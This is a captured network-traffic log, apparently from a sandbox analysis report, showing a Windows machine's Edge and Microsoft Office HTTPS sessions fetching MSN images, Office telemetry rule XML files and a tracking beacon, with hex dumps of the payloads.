2024-11-17 02:42:41 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49876	104.117.247.168	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:41 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 07:55:37 GMT X-Source-Length: 3765 X-Datacenter: northeu X-ActivityId: a02c37a4-2bd7-4056-aa62-a9ddb69c33bb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=277982 Expires: Wed, 20 Nov 2024 07:55:43 GMT Date: Sun, 17 Nov 2024 02:42:41 GMT Connection: close
2024-11-17 02:42:41 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1d52295f-e01e-0051-7dc4-3784b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024241Z-1866b5c5fbb2cz68hC1DFW9ytc00000002r000000000ar8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:41 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024241Z-16547b76f7fkz9l7hC1DFW35uc00000000v0000000002q13 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:41 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024241Z-1866b5c5fbbpxkkxhC1DFWhvmc00000003yg00000000bsy9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:41 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49885	108.156.211.19	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	1012	OUT	GET /b2?rn=1731811358831&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=024D4A803FDA694A0F455FBA3E2B6876&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=131119f4259cbd231943f011731811360; XID=131119f4259cbd231943f011731811360
2024-11-17 02:42:41 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sun, 17 Nov 2024 02:42:41 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a0ced2c61430bc862fa4fd815b7da596.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: lK5huAPZYO7_pvJ2QZqyLfgQAeEa_JgbgC96TEZQH4wzWoY-WMm6Vg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:41 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:41 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024241Z-16547b76f7ftfv4jhC1DFWuhug00000001c00000000018ta x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:41 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:41 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024241Z-16547b76f7fffb7lhC1DFWdsxg00000003ug00000000d9rq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:41 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49891	104.117.247.168	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:42 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH Last-Modified: Mon, 28 Oct 2024 20:47:24 GMT X-Source-Length: 293132 X-Datacenter: eastus X-ActivityId: 528b3f08-2792-4c00-b330-b79b3a540242 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 293132 Cache-Control: public, max-age=324424 Expires: Wed, 20 Nov 2024 20:49:45 GMT Date: Sun, 17 Nov 2024 02:42:41 GMT Connection: close
2024-11-17 02:42:42 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-17 02:42:42 UTC	2325	IN	Data Raw: 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-17 02:42:42 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
